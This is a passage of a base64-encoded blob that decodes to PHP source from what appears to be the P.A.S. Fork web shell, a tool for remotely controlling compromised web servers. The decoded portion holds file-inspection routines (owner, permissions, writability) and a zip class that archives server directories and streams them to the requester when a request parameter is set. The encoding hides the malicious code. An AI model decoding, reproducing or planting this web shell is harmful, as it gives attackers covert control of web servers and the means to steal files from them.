CAgIHJldHVybiAkdjsKCSAgICAgICAgfQoJICAgIH0KCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZmkpKQoJICAgICAgICAgICAgJHRoaXMtPnNwbCgpOwoJICAgICAgICBpZiAoJHRoaXMtPmZpICE9PSBGQUxTRSkgewoJICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAkdiA9ICR0aGlzLT5maS0+Z2V0TGlua1RhcmdldCgpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19zdHJpbmcoJHYpKSB7CgkgICAgICAgICAgICAgICAgJHRoaXMtPmYgPSAkdjsKCSAgICAgICAgICAgICAgICByZXR1cm4gJHY7CgkgICAgICAgICAgICB9CgkgICAgICAgIH0KCSAgICBlbmRpZjsKCSAgICAkdiA9IHJlYWxwYXRoKCR0aGlzLT5mcCk7CgkgICAgaWYgKGlzX3N0cmluZygkdikpIHsKCSAgICAgICAgJHRoaXMtPmYgPSAkdjsKCSAgICAgICAgcmV0dXJuICR2OwoJICAgIH0KCSAgICAkdGhpcy0+ZiA9ICcnOwoJICAgIHJldHVybiAnJzsKCX0KCQoJZnVuY3Rpb24gZ2V0U2l6ZSgpIHsKCSAgICBpZiAoaXNzZXQoJHRoaXMtPnMpKQoJICAgICAgICByZXR1cm4gJHRoaXMtPnM7CgkgICAgaWYgKCFpc3NldCgkdGhpcy0+aSkpCgkgICAgICAgICR0aGlzLT5zdGF0KCk7CgkgICAgaWYgKCR0aGlzLT5pICE9PSBGQUxTRSkgewoJICAgICAgICAkdGhpcy0+cyA9ICR0aGlzLT5pWzddOwoJICAgICAgICByZXR1cm4gJHRoaXMtPnM7CgkgICAgfQoJICAgICR2ID0gZmlsZXNpemUoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfaW50KCR2KSkgewoJICAgICAgICAkdGhpcy0+cyA9ICR2OwoJICAgICAgICByZXR1cm4gJHY7CgkgICAgfQoJICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScpOgoJICAgICAgICBpZiAoIWlzc2V0KCR0aGlzLT5maSkpCgkgICAgICAgICAgICAkdGhpcy0+c3BsKCk7CgkgICAgICAgIGlmICgkdGhpcy0+ZmkgIT09IEZBTFNFKSB7CgkgICAgICAgICAgICB0cnkgewoJICAgICAgICAgICAgICAgICR2ID0gJHRoaXMtPmZpLT5nZXRTaXplKCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHYgPSBOVUxMOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgICAgICAgICAkdGhpcy0+cyA9ICR2OwoJICAgICAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgICAgIH0KCSAgICAgICAgfQoJICAgIGVuZGlmOwoJICAgICR0aGlzLT5zID0gLTE7CgkgICAgcmV0dXJuIC0xOwoJfQoJCglmdW5jdGlvbiBnZXRDVGltZSgpIHsKCSAgICBpZiAoaXNzZXQoJHRoaXMtPmMpKQoJICAgICAgICByZXR1cm4gJHRoaXMtPmM7CgkgICAgaWYgKCFpc3NldCgkdGhpcy0+aSkpCgkgICAgICAgICR0aGlzLT5zdGF0KCk7CgkgICAgaWYgKCR0aGlzLT5pICE9PSBGQUxTRSkgewoJICAgICAgICAkdGhpcy0+YyA9ICR0aGlzLT5pWzEwXTsKCSAgICAgICAgcmV0dXJuICR0aGlzLT5jOwoJICAgIH0KCSAgICAkdiA9IGZpbGVjdGltZSgkdGhpcy0+ZnApOwoJICAgIGlmIChpc19pbnQoJHYpKSB7CgkgICAgICAgICR0aGlzLT5jID0gJHY7CgkgICAgICAgIHJldHVybiAkdjsKCSAgICB9CgkgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CgkgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmZpKSkKCSAgICAgICAgICAgICR0aGlzLT5zcGwoKTsKCSAgICAgICAgaWYgKCR0aGlzLT5maSAhPT0gRkFMU0UpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+ZmktPmdldENUaW1lKCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHYgPSBOVUxMOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgICAgICAgICAkdGhpcy0+YyA9ICR2OwoJICAgICAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgICAgIH0KCSAgICAgICAgfQoJICAgIGVuZGlmOwoJICAgICR0aGlzLT5jID0gMDsKCSAgICByZXR1cm4gMDsKCX0KCQoJZnVuY3Rpb24gZ2V0TVRpbWUoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5tKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5tOwoJICAgIGlmICghaXNzZXQoJHRoaXMtPmkpKQoJICAgICAgICAkdGhpcy0+c3RhdCgpOwoJICAgIGlmICgkdGhpcy0+aSAhPT0gRkFMU0UpIHsKCSAgICAgICAgJHRoaXMtPm0gPSAkdGhpcy0+aVs5XTsKCSAgICAgICAgcmV0dXJuICR0aGlzLT5tOwoJICAgIH0KCSAgICAkdiA9IGZpbGVtdGltZSgkdGhpcy0+ZnApOwoJICAgIGlmIChpc19pbnQoJHYpKSB7CgkgICAgICAgICR0aGlzLT5tID0gJHY7CgkgICAgICAgIHJldHVybiAkdjsKCSAgICB9CgkgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CgkgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmZpKSkKCSAgICAgICAgICAgICR0aGlzLT5zcGwoKTsKCSAgICAgICAgaWYgKCR0aGlzLT5maSAhPT0gRkFMU0UpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+ZmktPmdldE1UaW1lKCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHYgPSBOVUxMOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgICAgICAgICAkdGhpcy0+bSA9ICR2OwoJICAgICAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgICAgIH0KCSAgICAgICAgfQoJICAgIGVuZGlmOwoJICAgICR0aGlzLT5tID0gMDsKCSAgICByZXR1cm4gMDsKCX0KCQoJZnVuY3Rpb24gZ2V0T3duZXIoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5vKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5vOwoJICAgIGlmICghaXNzZXQoJHRoaXMtPmkpKQoJICAgICAgICAkdGhpcy0+c3RhdCgpOwoJICAgIGlmICgkdGhpcy0+aSAhPT0gRkFMU0UpIHsKCSAgICAgICAgJHRoaXMtPm8gPSAkdGhpcy0+aVs0XTsKCSAgICAgICAgcmV0dXJuICR0aGlzLT5vOwoJICAgIH0KCSAgICAkdiA9IGZpbGVvd25lcigkdGhpcy0+ZnApOwoJICAgIGlmIChpc19pbnQoJHYpKSB7CgkgICAgICAgICR0aGlzLT5vID0gJHY7CgkgICAgICAgIHJldHVybiAkdjsKCSAgICB9CgkgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CgkgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmZpKSkKCSAgICAgICAgICAgICR0aGlzLT5zcGwoKTsKCSAgICAgICAgaWYgKCR0aGlzLT5maSAhPT0gRkFMU0UpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+ZmktPmdldE93bmVyKCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHYgPSBOVUxMOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgICAgICAgICAkdGhpcy0+byA9ICR2OwoJICAgICAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgICAgIH0KCSAgICAgICAgfQoJICAgIGVuZGlmOwoJICAgICR0aGlzLT5vID0gLTE7CgkgICAgcmV0dXJuIC0xOwoJfQoJCglmdW5jdGlvbiBnZXRHcm91cCgpIHsKCSAgICBpZiAoaXNzZXQoJHRoaXMtPmcpKQoJICAgICAgICByZXR1cm4gJHRoaXMtPmc7CgkgICAgaWYgKCFpc3NldCgkdGhpcy0+aSkpCgkgICAgICAgICR0aGlzLT5zdGF0KCk7CgkgICAgaWYgKCR0aGlzLT5pICE9PSBGQUxTRSkgewoJICAgICAgICAkdGhpcy0+ZyA9ICR0aGlzLT5pWzVdOwoJICAgICAgICByZXR1cm4gJHRoaXMtPmc7CgkgICAgfQoJICAgICR2ID0gZmlsZWdyb3VwKCR0aGlzLT5mcCk7CgkgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgJHRoaXMtPmcgPSAkdjsKCSAgICAgICAgcmV0dXJuICR2OwoJICAgIH0KCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZmkpKQoJICAgICAgICAgICAgJHRoaXMtPnNwbCgpOwoJICAgICAgICBpZiAoJHRoaXMtPmZpICE9PSBGQUxTRSkgewoJICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAkdiA9ICR0aGlzLT5maS0+Z2V0R3JvdXAoKTsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKCSAgICAgICAgICAgICAgICAkdiA9IE5VTEw7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBpZiAoaXNfaW50KCR2KSkgewoJICAgICAgICAgICAgICAgICR0aGlzLT5nID0gJHY7CgkgICAgICAgICAgICAgICAgcmV0dXJuICR2OwoJICAgICAgICAgICAgfQoJICAgICAgICB9CgkgICAgZW5kaWY7CgkgICAgJHRoaXMtPmcgPSAtMTsKCSAgICByZXR1cm4gLTE7Cgl9CgkKCWZ1bmN0aW9uIGdldFBlcm1zKCkgewoJICAgIGlmIChpc3NldCgkdGhpcy0+cCkpCgkgICAgICAgIHJldHVybiAkdGhpcy0+cDsKCSAgICBpZiAoIWlzc2V0KCR0aGlzLT5pKSkKCSAgICAgICAgJHRoaXMtPnN0YXQoKTsKCSAgICBpZiAoJHRoaXMtPmkgIT09IEZBTFNFKSB7CgkgICAgICAgICR0aGlzLT5wID0gJHRoaXMtPmlbMl07CgkgICAgICAgIHJldHVybiAkdGhpcy0+cDsKCSAgICB9CgkgICAgJHYgPSBmaWxlcGVybXMoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfaW50KCR2KSkgewoJICAgICAgICAkdGhpcy0+cCA9ICR2OwoJICAgICAgICByZXR1cm4gJHY7CgkgICAgfQoJICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScpOgoJICAgICAgICBpZiAoIWlzc2V0KCR0aGlzLT5maSkpCgkgICAgICAgICAgICAkdGhpcy0+c3BsKCk7CgkgICAgICAgIGlmICgkdGhpcy0+ZmkgIT09IEZBTFNFKSB7CgkgICAgICAgICAgICB0cnkgewoJICAgICAgICAgICAgICAgICR2ID0gJHRoaXMtPmZpLT5nZXRQZXJtcygpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19pbnQoJHYpKSB7CgkgICAgICAgICAgICAgICAgJHRoaXMtPnAgPSAkdjsKCSAgICAgICAgICAgICAgICByZXR1cm4gJHY7CgkgICAgICAgICAgICB9CgkgICAgICAgIH0KCSAgICBlbmRpZjsKCSAgICAkdGhpcy0+cCA9IDA7CgkgICAgcmV0dXJuIDA7Cgl9CgkKCWZ1bmN0aW9uIGlzUmVhZGFibGUoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5yKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5yOwoJICAgICR2ID0gaXNfcmVhZGFibGUoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfYm9vbCgkdikpIHsKCSAgICAgICAgJHRoaXMtPnIgPSAkdjsKCSAgICAgICAgcmV0dXJuICR2OwoJICAgIH0KCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZmkpKQoJICAgICAgICAgICAgJHRoaXMtPnNwbCgpOwoJICAgICAgICBpZiAoJHRoaXMtPmZpICE9PSBGQUxTRSkgewoJICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAkdiA9ICR0aGlzLT5maS0+aXNSZWFkYWJsZSgpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19ib29sKCR2KSkgewoJICAgICAgICAgICAgICAgICR0aGlzLT5yID0gJHY7CgkgICAgICAgICAgICAgICAgcmV0dXJuICR2OwoJICAgICAgICAgICAgfQoJICAgICAgICB9CgkgICAgZW5kaWY7CgkgICAgJHRoaXMtPnIgPSBGQUxTRTsKCSAgICByZXR1cm4gRkFMU0U7Cgl9CgkKCWZ1bmN0aW9uIGlzV3JpdGFibGUoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT53KSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT53OwoJICAgICR2ID0gaXNfd3JpdGFibGUoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfYm9vbCgkdikpIHsKCSAgICAgICAgJHRoaXMtPncgPSAkdjsKCSAgICAgICAgcmV0dXJuICR2OwoJICAgIH0KCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZmkpKQoJICAgICAgICAgICAgJHRoaXMtPnNwbCgpOwoJICAgICAgICBpZiAoJHRoaXMtPmZpICE9PSBGQUxTRSkgewoJICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAkdiA9ICR0aGlzLT5maS0+aXNXcml0YWJsZSgpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19ib29sKCR2KSkgewoJICAgICAgICAgICAgICAgICR0aGlzLT53ID0gJHY7CgkgICAgICAgICAgICAgICAgcmV0dXJuICR2OwoJICAgICAgICAgICAgfQoJICAgICAgICB9CgkgICAgZW5kaWY7CgkgICAgJHRoaXMtPncgPSBGQUxTRTsKCSAgICByZXR1cm4gRkFMU0U7Cgl9CgkKCWZ1bmN0aW9uIGdldE1vZGUoKSB7CgkgICAgJHYgPSAwOwoJICAgIGlmICgkdGhpcy0+aXNSZWFkYWJsZSgpKQoJICAgICAgICAkdiArPSAxOwoJICAgIGlmICgkdGhpcy0+aXNXcml0YWJsZSgpKQoJICAgICAgICAkdiArPSAyOwoJICAgIHJldHVybiAkdjsKCX0KCQoJZnVuY3Rpb24gc3RhdCgpIHsKCSAgICAkdiA9IHN0YXQoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfYXJyYXkoJHYpKSB7CgkgICAgICAgICR0aGlzLT5pID0gJHY7CgkgICAgICAgIHJldHVybjsKCSAgICB9CgkgICAgJHYgICAgICAgPSBsc3RhdCgkdGhpcy0+ZnApOwoJICAgICR0aGlzLT5pID0gaXNfYXJyYXkoJHYpID8gJHYgOiBGQUxTRTsKCX0KCQoJZnVuY3Rpb24gdHlwZSgpIHsKCSAgICAkdiAgICAgICA9IGZpbGV0eXBlKCR0aGlzLT5ycCk7CgkgICAgJHRoaXMtPnQgPSAkdiA/ICR2IDogRkFMU0U7Cgl9CgkKCWZ1bmN0aW9uIHNwbCgpIHsKCSAgICAkdGhpcy0+ZmkgPSBGQUxTRTsKCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1LjEuMicpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHRoaXMtPmZpID0gbmV3IFNwbEZpbGVJbmZvKCR0aGlzLT5ycCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHRoaXMtPmZpID0gRkFMU0U7CgkgICAgICAgICAgICB9CgkgICAgICAgIH0KCSAgICBlbmRpZjsKCX0KCQp9CgoKaWYoaXNzZXQoJERbJ2EnXSkpewoJCgljbGFzcyBQWklQIHsKCSAgICB2YXIgJF9icGwgPSAnJywgJF9jZGZoID0gTlVMTCwgJF9jZGZwID0gTlVMTCwgJF9jZGZvID0gRkFMU0UsICRfY2RyYyA9IDAsICRfY2RzbyA9IDAsICRfZmxycyA9IGFycmF5KCk7CgkgICAgZnVuY3Rpb24gaW5pdCgkYnA9JycpIHsKCSAgICAgICAgJHRoaXMtPl9icGwgPSBzdHJsZW4oJGJwKTsKCSAgICAgICAgaWYgKCRoID0gdG1wZmlsZSgpKQoJICAgICAgICAgICAgJHRoaXMtPl9jZGZoID0gJGg7CgkgICAgICAgIGVsc2UgewoJICAgICAgICAgICAgJG4gPSB0ZW1wTmFtZSgpOwoJICAgICAgICAgICAgJGEgPSBhcnJheSgKCSAgICAgICAgICAgICAgICAndXBsb2FkX3RtcF9kaXInLAoJICAgICAgICAgICAgICAgICdzZXNzaW9uLnNhdmVfcGF0aCcsCgkgICAgICAgICAgICAgICAgJ3VzZXJfZGlyJywKCSAgICAgICAgICAgICAgICAnZG9jX3Jvb3QnCgkgICAgICAgICAgICApOwoJICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpCgkgICAgICAgICAgICAgICAgaWYgKCRwID0gaW5pX2dldCgkdikpIHsKCSAgICAgICAgICAgICAgICAgICAgJHAgLj0gRFNDIC4gJG47CgkgICAgICAgICAgICAgICAgICAgIGlmICgkaCA9IGZvcGVuKCRwLCAnYncrJykpIHsKCSAgICAgICAgICAgICAgICAgICAgICAgIGZsb2NrKCRoLCBMT0NLX0VYKTsKCSAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY2RmaCA9ICRoOwoJICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZwID0gJHA7CgkgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKCSAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNS4xJykgewoJICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gbmV3IFNwbEZpbGVPYmplY3QoJHAsICdidysnKTsKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IE5VTEw7CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaCkgewoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaC0+ZmxvY2soTE9DS19FWCk7CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY2RmaCA9ICRoOwoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2NkZnAgPSAkcDsKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZvID0gVFJVRTsKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICBlbmRpZjsKCSAgICAgICAgICAgICAgICB9CgkgICAgICAgICAgICAkcCA9IHNlbGZQYXRoKCkgLiAkbjsKCSAgICAgICAgICAgIGlmICgkaCA9IGZvcGVuKCRwLCAnYncrJykpIHsKCSAgICAgICAgICAgICAgICBmbG9jaygkaCwgTE9DS19FWCk7CgkgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZoID0gJGg7CgkgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZwID0gJHA7CgkgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUuMScpIHsKCSAgICAgICAgICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAgICAgICAgICRoID0gbmV3IFNwbEZpbGVPYmplY3QoJHAsICdidysnKTsKCSAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IE5VTEw7CgkgICAgICAgICAgICAgICAgICAgIH0KCSAgICAgICAgICAgICAgICAgICAgaWYgKCRoKSB7CgkgICAgICAgICAgICAgICAgICAgICAgICAkaC0+ZmxvY2soTE9DS19FWCk7CgkgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2NkZmggPSAkaDsKCSAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY2RmcCA9ICRwOwoJICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZvID0gVFJVRTsKCSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwoJICAgICAgICAgICAgICAgICAgICB9CgkgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgZW5kaWY7CgkgICAgICAgIH0KCSAgICAgICAgcmV0dXJuIEZBTFNFOwoJICAgIH0KCSAgICBmdW5jdGlvbiBmaWxlSGVhZGVyKCRuLCAkdCkgewoJICAgICAgICBlY2hvICJceDUwXHg0Ylx4MDNceDA0XHgxNFx4MDBceDA4XHgwMFx4MDBceDAwIiwgJHQsICJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiLCBwYWNrKCd2Jywgc3RybGVuKCRuKSksICJceDAwXHgwMCIsICRuOwoJICAgICAgICBvYl9zdGFydCgnemlwQ2FsYycsIDEwNDg1NzYpOwoJICAgIH0KCSAgICBmdW5jdGlvbiBmaWxlRm9vdGVyKCRuLCAkdCkgewoJICAgICAgICBvYl9lbmRfZmx1c2goKTsKCSAgICAgICAgJHYgPSB6aXBDYWxjKE5VTEwpOwoJICAgICAgICAkcyA9IHBhY2soJ1YnLCAkdlswXSk7CgkgICAgICAgICRjID0gcGFjaygnVicsICR2WzFdIF4gMHhmZmZmZmZmZik7CgkgICAgICAgIGVjaG8gIlx4NTBceDRiXHgwN1x4MDgiLCAkYywgJHMsICRzOwoJICAgICAgICAkZmggICA9ICR0aGlzLT5fY2RmaDsKCSAgICAgICAgJG5sICAgPSBzdHJsZW4oJG4pOwoJICAgICAgICAkZGF0YSA9ICJceDUwXHg0Ylx4MDFceDAyXHgwMFx4MDBceDE0XHgwMFx4MDhceDAwXHgwMFx4MDAiIC4gJHQgLiAkYyAuICRzIC4gJHMgLiBwYWNrKCd2JywgJG5sKSAuICJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiIC4gcGFjaygnVicsICR0aGlzLT5fY2RzbykgLiAkbjsKCSAgICAgICAgaWYgKCR0aGlzLT5fY2RmbykgewoJICAgICAgICAgICAgJGZoLT5md3JpdGUoJGRhdGEpOwoJICAgICAgICAgICAgJGZoLT5mZmx1c2goKTsKCSAgICAgICAgfSBlbHNlIHsKCSAgICAgICAgICAgIGZ3cml0ZSgkZmgsICRkYXRhKTsKCSAgICAgICAgICAgIGZmbHVzaCgkZmgpOwoJICAgICAgICB9CgkgICAgICAgICsrJHRoaXMtPl9jZHJjOwoJICAgICAgICAkdGhpcy0+X2Nkc28gKz0gNDYgKyAkdlswXSArICRubDsKCSAgICB9CgkgICAgZnVuY3Rpb24gYWRkUGF0aCgkcCkgewoJICAgICAgICAkZiA9IG5ldyBGaWxlSW5mbygkcCk7CgkgICAgICAgIGlmICgkZi0+aXNEaXIoKSkgewoJICAgICAgICAgICAgaWYgKHN1YnN0cigkcCwgLTEpICE9PSBEU0MpCgkgICAgICAgICAgICAgICAgJHAgLj0gRFNDOwoJICAgICAgICAgICAgJGYgPSBOVUxMOwoJICAgICAgICAgICAgaWYgKCFkaXJSZWFkKCRwLCBhcnJheSgKCSAgICAgICAgICAgICAgICAmJHRoaXMsCgkgICAgICAgICAgICAgICAgJ2FkZFBhdGgnCgkgICAgICAgICAgICApKSkKCSAgICAgICAgICAgICAgICAkdGhpcy0+X2ZscnNbXSA9IHN1YnN0cigkcCwgJHRoaXMtPl9icGwpOwoJICAgICAgICB9IGVsc2UgewoJICAgICAgICAgICAgJHQgPSBwYWNrVGltZSgkZi0+Z2V0TVRpbWUoKSk7CgkgICAgICAgICAgICAkZiA9IHN1YnN0cigkcCwgJHRoaXMtPl9icGwpOwoJICAgICAgICAgICAgaWYgKCFOSVgpCgkgICAgICAgICAgICAgICAgJGYgPSBzdHJfcmVwbGFjZShEU0MsICcvJywgJGYpOwoJICAgICAgICAgICAgJHRoaXMtPmZpbGVIZWFkZXIoJGYsICR0KTsKCSAgICAgICAgICAgIGlmICghb3V0RmlsZSgkcCkpCgkgICAgICAgICAgICAgICAgJHRoaXMtPl9mbHJzW10gPSAkZjsKCSAgICAgICAgICAgICR0aGlzLT5maWxlRm9vdGVyKCRmLCAkdCk7CgkgICAgICAgIH0KCSAgICB9CgkgICAgZnVuY3Rpb24gY2xvc2UoKSB7CgkgICAgICAgIGlmIChjb3VudCgkdGhpcy0+X2ZscnMpID4gMCkgewoJICAgICAgICAgICAgJG4gPSAnQ0FOVF9SRUFELnR4dCc7CgkgICAgICAgICAgICAkdCA9IHBhY2tUaW1lKHRpbWUoKSk7CgkgICAgICAgICAgICAkdGhpcy0+ZmlsZUhlYWRlcigkbiwgJHQpOwoJICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPl9mbHJzIGFzICR2KQoJICAgICAgICAgICAgICAgIGVjaG8gJHYsICJcbiI7CgkgICAgICAgICAgICAkdGhpcy0+ZmlsZUZvb3RlcigkbiwgJHQpOwoJICAgICAgICB9CgkgICAgICAgICRmaCA9ICR0aGlzLT5fY2RmaDsKCSAgICAgICAgaWYgKCR0aGlzLT5fY2RmbykgewoJICAgICAgICAgICAgJHMgPSAkZmgtPmZ0ZWxsKCk7CgkgICAgICAgICAgICAkZmgtPmZzZWVrKDApOwoJICAgICAgICAgICAgaWYgKCFpc19pbnQoJGZoLT5mcGFzc3RocnUoKSkpCgkgICAgICAgICAgICAgICAgd2hpbGUgKCEkZmgtPmVvZigpKQoJICAgICAgICAgICAgICAgICAgICBlY2hvICRmaC0+ZnJlYWQoMTA0ODU3Nik7CgkgICAgICAgICAgICAkZmgtPmZsb2NrKExPQ0tfVU4pOwoJICAgICAgICAgICAgdW5zZXQoJGZoLCAkdGhpcy0+X2NkZmgpOwoJICAgICAgICB9IGVsc2UgewoJICAgICAgICAgICAgJHMgPSBmdGVsbCgkZmgpOwoJICAgICAgICAgICAgZnNlZWsoJGZoLCAwKTsKCSAgICAgICAgICAgIGlmICghaXNfaW50KGZwYXNzdGhydSgkZmgpKSkKCSAgICAgICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGZoKSkKCSAgICAgICAgICAgICAgICAgICAgZWNobyBmcmVhZCgkZmgsIDEwNDg1NzYpOwoJICAgICAgICAgICAgZmxvY2soJGZoLCBMT0NLX1VOKTsKCSAgICAgICAgICAgIGZjbG9zZSgkZmgpOwoJICAgICAgICB9CgkgICAgICAgIGlmICgkdGhpcy0+X2NkZnAgIT09IE5VTEwpCgkgICAgICAgICAgICBkZWxGaWxlKCR0aGlzLT5fY2RmcCk7CgkgICAgICAgICR2ID0gcGFjaygndicsICR0aGlzLT5fY2RyYyk7CgkgICAgICAgICRjID0gJ0FyY2hpdmVkIGJ5IFAuQS5TLiBGb3JrIHYuICcgLiBWRVI7CgkgICAgICAgIGVjaG8gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIiwgJHYsICR2LCB